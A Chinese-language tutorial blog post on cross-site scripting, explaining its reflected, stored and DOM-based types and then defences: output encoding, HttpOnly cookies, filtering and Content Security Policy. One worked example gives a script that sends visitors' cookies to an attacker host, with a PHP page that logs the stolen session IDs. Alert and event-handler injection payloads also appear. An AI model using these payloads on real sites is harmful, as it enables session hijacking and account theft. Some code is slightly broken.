XSS跨站脚本攻击

目录

1 简介

2 原因解析

3 XSS攻击分类

3.1 反射型xss攻击

3.2 存贮型xss攻击

3.3 DOMBasedXSS(基于dom的跨站点脚本攻击)

4 XSS攻击实例分析

5 XSS漏洞修复

5.1 html实体

5.2 HTML Encode

5.3 修复漏洞方针

5.4 PHP中的相应函数

5.5 数据过滤类

6 XSS如何防范?

cookie安全策略

X-XSS-Protection设置

XSS防御HTML编码

XSS 防御HTML Attribute编码

XSS防御之javascript编码

onclick属性XSS

XSS 防御之 URL 编码

XSS 防御之 CSS 编码

开启CSP网页安全政策防止XSS攻击


1 简介

跨站脚本(cross site script)为了避免与样式css混淆,所以简称为XSS。

XSS是一种经常出现在web应用中的计算机安全漏洞,也是web中最主流的攻击方式。那么什么是XSS呢?

XSS是指恶意攻击者利用网站没有对用户提交数据进行转义处理或者过滤不足的缺点,进而添加一些代码,嵌入到web页面中去。使别的用户访问都会执行相应的嵌入代码。

从而盗取用户资料、利用用户身份进行某种动作或者对访问者进行病毒侵害的一种攻击方式。

XSS攻击的危害包括:

1、盗取各类用户帐号,如机器登录帐号、用户网银帐号、各类管理员帐号

2、控制企业数据,包括读取、篡改、添加、删除企业敏感数据的能力

3、盗窃企业重要的具有商业价值的资料

4、非法转账

5、强制发送电子邮件

6、网站挂马

7、控制受害者机器向其它网站发起攻击

2 原因解析

主要原因:过于信任客户端提交的数据!

解决办法:不信任任何客户端提交的数据,只要是客户端提交的数据就应该先进行相应的过滤处理然后方可进行下一步的操作。

进一步分析细节:

  客户端提交的数据本来就是应用所需要的,但是恶意攻击者利用网站对客户端提交数据的信任,在数据中插入一些符号以及javascript代码,那么这些数据将会成为应用代码中的一部分了。那么攻击者就可以肆无忌惮地展开攻击啦。

  因此我们绝不可以信任任何客户端提交的数据!!!

3 XSS攻击分类

【了解即可,不必细究,XSS根源就是没完全过滤客户端提交的数据】

3.1 反射型xss攻击

  又称为非持久性跨站点脚本攻击,它是最常见的类型的XSS。漏洞产生的原因是攻击者注入的数据反映在响应中。一个典型的非持久性XSS包含一个带XSS攻击向量的链接(即每次攻击需要用户的点击)。

简单例子

正常发送消息:

http://www.test.com/message.php?send=Hello,World!

接收者将会接收信息并显示Hello,Word

非正常发送消息:

http://www.test.com/message.php?send=<script>alert(‘foolish!’)</script>!

接收者接收消息显示的时候将会弹出警告窗口

3.2 存贮型xss攻击

  又称为持久型跨站点脚本,它一般发生在XSS攻击向量(一般指XSS攻击代码)存储在网站数据库,当一个页面被用户打开的时候执行。每当用户打开浏览器,脚本执行。持久的XSS相比非持久性XSS攻击危害性更大,因为每当用户打开页面,查看内容时脚本将自动执行。谷歌的orkut曾经就遭受到XSS。

简单例子:

从名字就可了解到存储型XSS攻击就是将攻击代码存入数据库中,然后客户端打开时就执行这些攻击代码。例如留言板

留言板表单中的表单域:<input type=“text” name=“content” value=“这里是用户填写的数据”>

正常操作:

用户是提交相应留言信息;将数据存储到数据库;其他用户访问留言板,应用去数据并显示。

非正常操作:

攻击者在value填写<script>alert(‘foolish!’)</script>【或者html其他标签(破坏样式。。。)、一段攻击型代码】;

将数据存储到数据库中;

其他用户取出数据显示的时候,将会执行这些攻击性代码

3.3 DOMBasedXSS(基于dom的跨站点脚本攻击)

  基于DOM的XSS有时也称为type0XSS。当用户能够通过交互修改浏览器页面中的DOM(DocumentObjectModel)并显示在浏览器上时,就有可能产生这种漏洞,从效果上来说它也是反射型XSS。

  通过修改页面的DOM节点形成的XSS,称之为DOMBasedXSS。

  前提是易受攻击的网站有一个HTML页面采用不安全的方式从document.location 或document.URL 或 document.referrer获取数据(或者任何其他攻击者可以修改的对象)。

简单例子

<HTML>
<TITLE>Welcome!</TITLE>
Hi
<SCRIPT>
var pos=document.URL.indexOf("name=")+5;
document.write(document.URL.substring(pos,document.URL.length));
</SCRIPT>
<BR>
Welcome to our system
…
</HTML>

这个例子是个欢迎页面,name是截取URL中get过来的name参数

正常操作:

http://www.vulnerable.site/welcome.html?name=Joe

非正常操作:

http://www.vulnerable.site/welcome.html?name=<script>alert(document.cookie)</script>

  将产生xss条件。让我们看看为什么:受害者的浏览器接收到这个链接,发送HTTP请求到www.vulnerable.site并且接受到上面的HTML页。受害者的浏览器开始解析这个HTML为DOM,DOM包含一个对象叫document,document里面有个URL属性,这个属性里填充着当前页面的URL。当解析器到达javascript代码,它会执行它并且修改你的HTML页面。倘若代码中引用了document.URL,那么,这部分字符串将会在解析时嵌入到HTML中,然后立即解析,同时,javascript代码会找到(alert(…))并且在同一个页面执行它,这就产生了xss的条件。

注意:

  1. 恶意程序脚本在任何时候不会嵌入到处于自然状态下的HTML页面(这和其他种类的xss不太一样)。

  2.这个攻击只有在浏览器没有修改URL字符时起作用。 当url不是直接在地址栏输入,Mozilla.会自动转换在document.URL中字符<和>(转化为%3C 和 %3E),因此在就不会受到上面示例那样的攻击了,在IE6下没有转换<和>,因此他很容易受到攻击。

  当然,直接嵌入到HTML只是攻击的一个挂载点,有很多脚本不需要依赖<和>漏洞,因此Mozilla通常也是无法阻止这些攻击的。

4 XSS攻击实例分析

  例1、简单XSS攻击

留言类,简单注入javascript

有个表单域:<input type=“text” name=“content” value=“这里是用户填写的数据”>

1、假若用户填写数据为:<script>alert('foolish!')</script>(或者<script type="text/javascript" src="./xss.js"></script>)

2、提交后将会弹出一个foolish警告窗口,接着将数据存入数据库

3、等到别的客户端请求这个留言的时候,将数据取出显示留言时将执行攻击代码,将会显示一个foolish警告窗口。

【将数据改成html标签进行攻击,则会将原本的样式打乱。。。。。。。。

  例2、盗取cookie

1、网站所在域名为www.test88.com、攻击者控制的主机www.linuxtest.com

2、test88.com中的表单,xss.html

<!DOCTYPE html>
<html>
<head>
    <title>xss攻击</title>
    <meta charset="utf-8">
</head>
<body>

<form action="./test99.php" method="post">
留言:<input type="text" name="content" value=""><br/>
<input type="submit" name="" value='提交'>
</form>
<br/>留言记录:<br/>
</body>
</html>

3、恶意攻击者插入相应代码

<script>
var Str=document.cookie;               //获取cookie
var a =document.createElement('a');        //创建a标签
a.href='http://www.linuxtest.com/test2.php?'+Str;   //攻击者主机
a.innerHTML="<img src='./aa.jpg'>";        //掩护图片
document.body.appendChild(a);              //将标签添加到页面中
</script>

4、数据(攻击代码)插入数据库

5、攻击者控制的主机中设置接收盗取的cookie

<?php
header("content-type:text/html;charset=utf8");
echo "你的PHPSESSID被盗啦";
echo "<pre>";
print_r($_GET);
echo "</pre>";
$cookie=$_GET['PHPSESSID'];
file_put_contents('./xss.txt', $cookie);
?>

开始模拟测试

1、test88.com中设置生成sessionID代码

<?php
session_start();
$_SESSION['xss']='xssssss';
echo "<pre>";
print_r($_SESSION);
echo "</pre>";die;
?>

2、客户端访问上面代码并生成自己的sessionID

3、客户端访问xss.html

#下面为模拟被攻击后取出数据的xss.html代码(显示数据)

<!DOCTYPE html>
<html>
<head>
    <title>xss攻击</title>
    <meta charset="utf-8">
</head>
<body>
<form action="./test99.php" method="post">
留言:<input type="text" name="content" value=""><br/>
<input type="submit" name="" value='提交'>
</form>
<br/>留言记录:<br/>
<script>
var Str=document.cookie;               //获取cookie
var a =document.createElement('a');        //创建a标签
a.href='http://www.linuxtest.com/test2.php?'+Str;   //攻击者主机
a.innerHTML="<img src='./aa.jpg'>";        //掩护图片
document.body.appendChild(a);              //将标签添加到页面中
</script>
</body>
</html>

 

4、客户端不小心点击到图片,sessionID将被盗

# vi xss.txt

 

【当然这仅仅只是一个很简单的攻击,只要将数据过滤就可以避免这个攻击了,这里只是让大家了解XSS是如何进行攻击的。】

5 XSS漏洞修复

从上面XSS实例以及之前文章的介绍我们知道XSS漏洞的起因就是没有对用户提交的数据进行严格的过滤处理。因此在思考解决XSS漏洞的时候,我们应该重点把握如何才能更好的将用户提交的数据进行安全过滤。

5.1 html实体

什么是html实体?

  在html中有些字符,像(<)这类的,对HTML(标准通用标记语言下的一个应用)来说是有特殊意义的,所以这些字符是不允许在文本中使用的。要在HTML中显示(<)这个字符,我们就必须使用实体字符。

  html实体的存在是导致XSS漏洞的主要原因之一。

  因此我们需要将这些实体全部转换为相应的实体编号。

显示结果

描述

实体名称

 

空格

&nbsp;

小于号

&lt;

大于号

&gt;

&

和号

&amp;

"

引号

&quot;

'

撇号 

&apos; (IE不支持)

5.2 HTML Encode

用户将数据提交上来的时候进行HTML编码,将相应的符号转换为实体名称再进行下一步的处理。

在PHP中已经存在这样子功能的函数,即是htmlentities($str)函数。

与之相反的就是html_entity_decode($str)函数,它将实体名称转换为相应的符号。

5.3 修复漏洞方针

【不相应用户提交的数据,过滤过滤过滤!

1、将重要的cookie标记为http only, 这样的话Javascript 中的document.cookie语句就不能获取到cookie了.

2、表单数据规定值的类型,例如:年龄应为只能为int、name只能为字母数字组合。。。。

4、对数据进行Html Encode 处理

5、过滤或移除特殊的Html标签, 例如: <script>, <iframe> , &lt; for <, &gt; for >, &quot for

6、过滤JavaScript 事件的标签。例如 "οnclick=", "onfocus" 等等。

【特别注意:】

在有些应用中是允许html标签出现的,甚至是javascript代码出现。因此我们在过滤数据的时候需要仔细分析哪些数据是有特殊要求(例如输出需要html代码、javascript代码拼接、或者此表单直接允许使用等等),然后区别处理!

5.4 PHP中的相应函数

【详细看PHP手册】

这里可能不全,想了解更多的看手册。

strip_tags($str, [允许标签])  #从字符串中去除 HTML 和 PHP 标记

htmlentities($str)函数    #转义html实体

html_entity_decode($str)函数    #反转义html实体

addcslashes($str, ‘字符’)函数     #给某些字符加上反斜杠

stripcslashes($str)函数          #去掉反斜杠

addslashes ($str )函数          #单引号、双引号、反斜线与 NULL加反斜杠

stripslashes($str)函数           #去掉反斜杠

htmlspecialchars()              #特殊字符转换为HTML实体

htmlspecialchars_decode()       #将特殊的 HTML 实体转换回普通字符

5.5 数据过滤类

<?php
class XSS
{
    /**
    * @desc 过滤数据
    *
    * @param $data string|array 输入数据
    * @param $low  bool      是否采用更为严格的过滤
    *
    * @return 返回过滤的数据
    */
    public function clean_xss($data, $low = False)
    {
        #字符串过滤
       if (! is_array ( $data ))
       {
           $data = trim ( $data );              #字符两边的处理
           $data = strip_tags ( $data );        #从字符串中去除 HTML 和 PHP 标记
           $data = htmlspecialchars ( $data );  #特殊字符转换为HTML实体
           if ($low)
           {
               return $data;
           }
           #匹配换空格
           $data = str_replace ( array ('"', "\\", "'", "/", "..", "../", "./", "//" ), '', $data );
           $no = '/%0[0-8bcef]/';
           $data = preg_replace ( $no, '', $data );
           $no = '/%1[0-9a-f]/';
           $data = preg_replace ( $no, '', $data );
           $no = '/[\x00-\x08\x0B\x0C\x0E-\x1F\x7F]+/S';
           $data = preg_replace ( $no, '', $data );
           return $data;
       }
       #数组过滤
       $arr=array();
       foreach ($data as $k => $v)
       {
           $temp=$this->clean_xss($v);
           $arr[$k]=$temp;
       }
       return $arr;
    }


}
#测试测试
session_start();
$_SESSION['xss']='xssss';
$xss=new XSS();
#测试字符串
$str = "<script>alert(document.cookie)</script>";
echo $str;
$str2=$xss->clean_xss($str);
echo $str2;
echo "<hr/>";
#测试数组
$arr=array("<script>alert(document.cookie)</script>","<script>alert(document.cookie)</script>","<script>alert(document.cookie)</script>");
echo "<pre>";
print_r($arr);
echo "</pre>";
$arr2=$xss->clean_xss($arr);
echo "<pre>";
print_r($arr2);
echo "</pre>";die;
?>

6 XSS如何防范?

cookie安全策略

在服务器端设置cookie的时候设置 http-only, 这样就可以防止用户通过JS获取cookie。对cookie的读写或发送一般有如下字段进行设置:

http-only: 只允许http或https请求读取cookie、JS代码是无法读取cookie的(document.cookie会显示http-only的cookie项被自动过滤掉)。发送请求时自动发送cookie.
secure-only: 只允许https请求读取,发送请求时自动发送cookie。
host-only: 只允许主机域名与domain设置完成一致的网站才能访问该cookie。

X-XSS-Protection设置

目前该属性被所有的主流浏览器默认开启XSS保护。该参数是设置在响应头中目的是用来防范XSS攻击的。它有如下几种配置:
值有如下几种:默认为1.
0:禁用XSS保护。
1:启用XSS保护。
1;mode=block; 启用xss保护,并且在检查到XSS攻击是,停止渲染页面。

XSS防御HTML编码

我们为什么要防御HTML编码呢?比如如下html代码:<div>𝑐𝑜𝑛𝑡𝑒𝑛𝑡</𝑑𝑖𝑣>,在𝑑𝑖𝑣标签中存在一个输出变量

{content}. 那么浏览器在解析的过程中,首先是html解析,当解析到div标签时,再解析 𝑐𝑜𝑛𝑡𝑒𝑛𝑡的内容,然后会将页面显示出来。那假如该

{content} 的值是 <script>alert('XSS攻击')</script> 这样的呢?因此该script脚本就会解析并且执行了,从而达到XSS的攻击目标。
因此我们需要将不可信数据放入到html标签内(比如div、span等)的时候需要进行html编码。
编码规则:将 & < > " ' / 转义为实体字符。如下基本转义代码:

// 使用正则表达式实现html编码
    function htmlEncodeByRegExp(str) {
      var s = '';
      if (str.length === 0) {
        return s;
      }
      return (s + str)
        .replace(/&/g, "&amp;")
        .replace(/</g, "&lt;")
        .replace(/>/g, "&gt;")
        .replace(/ /g, "&nbsp;")
        .replace(/\'/g, "&#39")
        .replace(/\"/g, "&quot;")
        .replace(/\//g, '&#x2F;');
    }
    // 使用正则表达式实现html解码
    function htmlDecodeByRegExp(str) {
      var s = '';
      if (str.length === 0) {
        return s;
      }
      return (s + str)
        .replace(/&amp;/g, "&")
        .replace(/&lt;/g, "<")
        .replace(/&gt;/g, ">")
        .replace(/&nbsp;/g, " ")
        .replace(/&#39/g, "\'")
        .replace(/&quot;/g, "\"")
        .replace(/&#x2F;/g, "\/");
    }

 

实现demo如下:

<!DOCTYPE html>
    <html>
    <head>
      <meta charset=utf-8>
      <meta name="referrer" content="never">
      <title></title>
    </head>
    <body>
      <script type="text/javascript">
        // 使用正则表达式实现html编码
        function htmlEncodeByRegExp(str) {
          var s = '';
          if (str.length === 0) {
            return s;
          }
          return (s + str)
            .replace(/&/g, "&amp;")
            .replace(/</g, "&lt;")
            .replace(/>/g, "&gt;")
            .replace(/ /g, "&nbsp;")
            .replace(/\'/g, "&#39")
            .replace(/\"/g, "&quot;")
            .replace(/\//g, '&#x2F;');
        }
        // 使用正则表达式实现html解码
        function htmlDecodeByRegExp(str) {
          var s = '';
          if (str.length === 0) {
            return s;
          }
          return (s + str)
            .replace(/&amp;/g, "&")
            .replace(/&lt;/g, "<")
            .replace(/&gt;/g, ">")
            .replace(/&nbsp;/g, " ")
            .replace(/&#39/g, "\'")
            .replace(/&quot;/g, "\"")
            .replace(/&#x2F;/g, "\/");
        }

        // 测试代码:
        var html = '<br>aaaaaa<p>xxxxxx</p>';
        var encodeHtml = htmlEncodeByRegExp(html);
        // 输出:使用正则表达式对html编码:&lt;br&gt;aaaaaa&lt;p&gt;xxxxxx&lt;&#x2F;p&gt;
        console.log("使用正则表达式对html编码:" + encodeHtml);
        var decodeHtml = htmlDecodeByRegExp(encodeHtml);

        // 输出:使用正则表达式对html解码:<br>aaaaaa<p>xxxxxx</p>
        console.log("使用正则表达式对html解码:" + decodeHtml);

      </script>
    </body>
    </html>

 

XSS 防御HTML Attribute编码

和HTML编码一样,html中的属性也要进行编码,比如 <input name="𝑛𝑎𝑚𝑒"/>这样的,𝑛𝑎𝑚𝑒是𝑖𝑛𝑝𝑢𝑡的属性,因此在ℎ𝑡𝑚𝑙解析时,会对𝑛𝑎𝑚𝑒属性进行编码,因为假如

{name} 的值为:" " οnclick="alert('属性XSS')" " " 这样的,也就是说input变成这样的了,<input name=" " οnclick="alert('属性XSS')" " "></input>,input属性name被插入onclick事件了,因此也需要针对这种常规的html属性,都需要对其进行HTML属性编码。
因此我们需要将不可信数据放入html属性时(不含src、href、style 和 事件处理函数(onclick, onmouseover等))。需要进行HTML Attribute 编码。
编码规则:除了字母、数字、字符以外,使用 &#x;16进制格式来转义ASCII值小于256所有的字符。

因此编码代码如下:

function encodeForHTMLAttibute(str) {
      let encoded = '';
      for(let i = 0; i < str.length; i++) {
        let ch = hex = str[i];
        if (!/[A-Za-z0-9]/.test(str[i]) && str.charCodeAt(i) < 256) {
          hex = '&#x' + ch.charCodeAt(0).toString(16) + ';';
        }
        encoded += hex;
      }
      return encoded;
   };

XSS防御之javascript编码

在上面的 XSS 防御HTML Attribute编码中我们是可以防御XSS攻击,但是它只能防御的是HTML通用属性,并不是全部属性,在html中还存在很多支持协议解析的html属性,比如 onclick, onerror, href, src 等这些,类似这些属性我们是无法通过HTML编码来防范XSS攻击的。因为浏览器会先解析html编码的字符,将其转换为该属性的值,但是该属性本身支持JS代码执行,因此游览器在HTML解码后,对该属性的值进行JS解析,因此会执行响应的代码。

比如如下代码:<a href="javascript:alert('href xss')" target="_blank">href xss</a> 是可以点击的。 如果我们对该进行html属性编码一下,还是可以点击的,
如代码:<a href="javascript&#x3a;alert&#x28;&#x27;href&#x20;xss&#x20;HTML编码无效&#x27;&#x29;" target="_blank">href xss HTML属性编码无效</a> 页面还是可以点击的。如下图所示:

如下对href属性编码:

var str = "javascript:alert('href xss')";
// 使用正则表达式实现html编码
function encodeForHTMLAttibute(str) {
  let encoded = '';
  for(let i = 0; i < str.length; i++) {
    let ch = hex = str[i];
    if (!/[A-Za-z0-9]/.test(str[i]) && str.charCodeAt(i) < 256) {
      hex = '&#x' + ch.charCodeAt(0).toString(16) + ';';
    }
    encoded += hex;
  }
  return encoded;
};
console.log(encodeForHTMLAttibute(str)); // javascript&#x3a;alert&#x28;&#x27;href&#x20;xss&#x27;&#x29;

那么现在假如我们对alert('href xss')进行JavaScript编码,结果又会如何?(JavaScript编码将字符编码成\x+16进制的形式,对款字节编码成Unicode)

注意:XSS防御之javascript编码代码如下:

function encodeForJavascript(str) {
  let encoded = '';
  for(let i = 0; i < str.length; i++) {
    let cc = hex = str[i];
    if (!/[A-Za-z0-9]/.test(str[i]) && str.charCodeAt(i) < 256) {
      hex = '\\x' + cc.charCodeAt().toString(16);
    }
    encoded += hex;
  }
  return encoded;
};

如下demo演示:


<!DOCTYPE html>
<html>
<head>
  <meta charset=utf-8>
  <meta name="referrer" content="never">
  <title></title>
</head>
<body>
  <div>
    <a href="javascript:alert\x28\x27href\x20xss\x27\x29" target="_blank">Href XSS JavaScript编码</a>
  </div>
  <script type="text/javascript">
    var str = "alert('href xss')";
    function encodeForJavascript(str) {
      let encoded = '';
      for(let i = 0; i < str.length; i++) {
        let cc = hex = str[i];
        if (!/[A-Za-z0-9]/.test(str[i]) && str.charCodeAt(i) < 256) {
          hex = '\\x' + cc.charCodeAt().toString(16);
        }
        encoded += hex;
      }
      return encoded;
    };
    console.log(encodeForJavascript(str)); // alert\x28\x27href\x20xss\x27\x29
  </script>
</body>
</html>

现在我们再来点击上面的a链接是不会有任何效果的。因此 XSS执行失败; 当然对onclick 事件等其他的也是一样的要进行编码。我们也可以继续看下:onclick属性XSS

onclick属性XSS

比如现在我们来看一下on事件属性:<div id="test" οnclick="testFunc(𝑣𝑎𝑙𝑢𝑒)">𝑥𝑥𝑠测试</𝑑𝑖𝑣>(此处的

value往往一般都是后台模板替换的变量)<div id="test" οnclick="testFunc('$value')">xxs测试</div>

当$value的值 hello world'),alert('onclick xss 时,就会触发XSS攻击;代码就会变成如下:

<div id="test" onclick="testFunc('hello world'),alert('onclick xss')" >xxs测试</div>

因此demo如下:

<!DOCTYPE html>
<html>
<head>
  <meta charset=utf-8>
  <meta name="referrer" content="never">
  <title></title>
</head>
<body>
  <div id="test" onclick="testFunc('hello world'),alert('onclick xss')">xxs测试</div>
  <script type="text/javascript">
    function testFunc(xx) {
      
    }
  </script>
</body>
</html>

当我点击xss测试的时候,就会变成如下所示:

如果我们使用html编码是不行的,对$value进行HTML编码, 我们可以看看如下demo所示:

<!DOCTYPE html>
<html>
<head>
  <meta charset=utf-8>
  <meta name="referrer" content="never">
  <title></title>
</head>
<body>
  <div id="test" onclick="testFunc('hello&#x20;world&#x27;&#x29;&#x2c;alert&#x28;&#x27;onclick&#x20;xss')">xxs测试</div>
  <script type="text/javascript">
    function testFunc() {}
    
    var str = "hello world'),alert('onclick xss";
    // 使用正则表达式实现html编码
    function encodeForHTMLAttibute(str) {
      let encoded = '';
      for(let i = 0; i < str.length; i++) {
        let ch = hex = str[i];
        if (!/[A-Za-z0-9]/.test(str[i]) && str.charCodeAt(i) < 256) {
          hex = '&#x' + ch.charCodeAt(0).toString(16) + ';';
        }
        encoded += hex;
      }
      return encoded;
    };
    console.log(encodeForHTMLAttibute(str)); 
    // hello&#x20;world&#x27;&#x29;&#x2c;alert&#x28;&#x27;onclick&#x20;xss
  </script>
</body>
</html>

如上代码,我们继续点击xxx测试的时候,还是可以弹窗的。

现在如果我们继续将$value进行JavaScript编码:显示正常,不存在XSS。 如下代码所示:

<!DOCTYPE html>
<html>
<head>
  <meta charset=utf-8>
  <meta name="referrer" content="never">
  <title></title>
</head>
<body>
  <div id="test" onclick="testFunc('hello\x20world\x27\x29\x2calert\x28\x27onclick\x20xss')">xxs测试</div>
  <script type="text/javascript">
    function testFunc() {}
    
    var str = "hello world'),alert('onclick xss";
    // 使用正则表达式实现html编码
    function encodeForJavascript(str) {
      let encoded = '';
      for(let i = 0; i < str.length; i++) {
        let cc = hex = str[i];
        if (!/[A-Za-z0-9]/.test(str[i]) && str.charCodeAt(i) < 256) {
          hex = '\\x' + cc.charCodeAt().toString(16);
        }
        encoded += hex;
      }
      return encoded;
    };
    console.log(encodeForJavascript(str)); 
    // hello\x20world\x27\x29\x2calert\x28\x27onclick\x20xss
  </script>
</body>
</html>

我们继续点击就没有任何反应了,大家自己可以试试下。因此就不会存在xss攻击了。

XSS 防御之 URL 编码

作用范围:将不可信数据作为 URL 参数值时需要对参数进行 URL 编码
编码规则:将参数值进行 encodeURIComponent 编码

编码代码如下:

function encodeForURL(str){
  return encodeURIComponent(str);
};

XSS 防御之 CSS 编码

作用范围:将不可信数据作为 CSS 时进行 CSS 编码
比如:通过css构造(background-img:url\expression\link-href@import)

编码规则:除了字母数字字符以外,使用\XXXXXX格式来转义ASCII值小于256的所有字符。 编码代码如下:

function encodeForCSS (attr, str){
  let encoded = '';
  for (let i = 0; i < str.length; i++) {
    let ch = str.charAt(i);
    if (!ch.match(/[a-zA-Z0-9]/) {
      let hex = str.charCodeAt(i).toString(16);
      let pad = '000000'.substr((hex.length));
      encoded += '\\' + pad + hex;
    } else {
      encoded += ch;
    }
  }
  return encoded;
};

开启CSP网页安全政策防止XSS攻击

Content-Security-Policy 中文的意思是 网页安全政策,

CSP是网页安全政策(Content Security Policy)的缩写。主要用来防止XSS攻击。是一种由开发者定义的安全性政策申明,通过CSP所约束的责任指定可信的内容来源,通过 Content-Security-Policy 网页的开发者可以控制整个页面中 外部资源 的加载和执行。
比如可以控制哪些 域名下的静态资源可以被页面加载,哪些不能被加载。这样就可以很大程度的防范了 来自 跨站(域名不同) 的脚本攻击。

如何使用呢?

我们只需要在meta属性中设置下即可:如下代码:

<meta http-equiv="Content-Security-Policy" content="">

比如如下的列子:

<meta http-equiv="Content-Security-Policy" content="
default-src http: https:  *.xxx.com 'self' 'unsafe-inline' ;
style-src 'self' 'unsafe-inline' *.yyy.com;
script-src 'self' 'unsafe-inline' 'unsafe-eval' ;
">

默认设置(default-src):信任 http ,https协议资源,信任当前域名资源,信任符合*.xxx.com的域名资源CSS设置(style-src):信任当前域名资源,允许内嵌的CSS资源,信任来自*.yyy.com下的CSS资源。
JS设置(script-src):信任当前域名资源,允许内嵌的JS执行,允许将字符串当作代码执行

有如下类别

default-src 给下面所有的规则设定一个默认值
script-src 外部脚本
style-src 样式表
img-src 图像
media-src 媒体文件(音频和视频)
font-src 字体文件
object-src 插件(比如 Flash)
child-src 框架
frame-ancestors 嵌入的外部资源(比如、<iframe>、和)
connect-src HTTP 连接(通过 XHR、WebSockets、EventSource等)
worker-src worker脚本
manifest-src manifest 文件

script-src有如下属性值:

unsafe-inline 允许执行页面内嵌的<script>标签和事件监听函数
unsafe-eval 允许将字符串当作代码执行,比如使用eval、setTimeout、setInterval和Function等函数
nonce 每次HTTP回应给出一个授权token,页面内嵌脚本必须有这个token,才会执行
hash 列出允许执行的脚本代码的Hash值,页面内嵌脚本的哈希值只有吻合的情况下,才能执行

 

 

 

  • 2
    点赞
  • 13
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值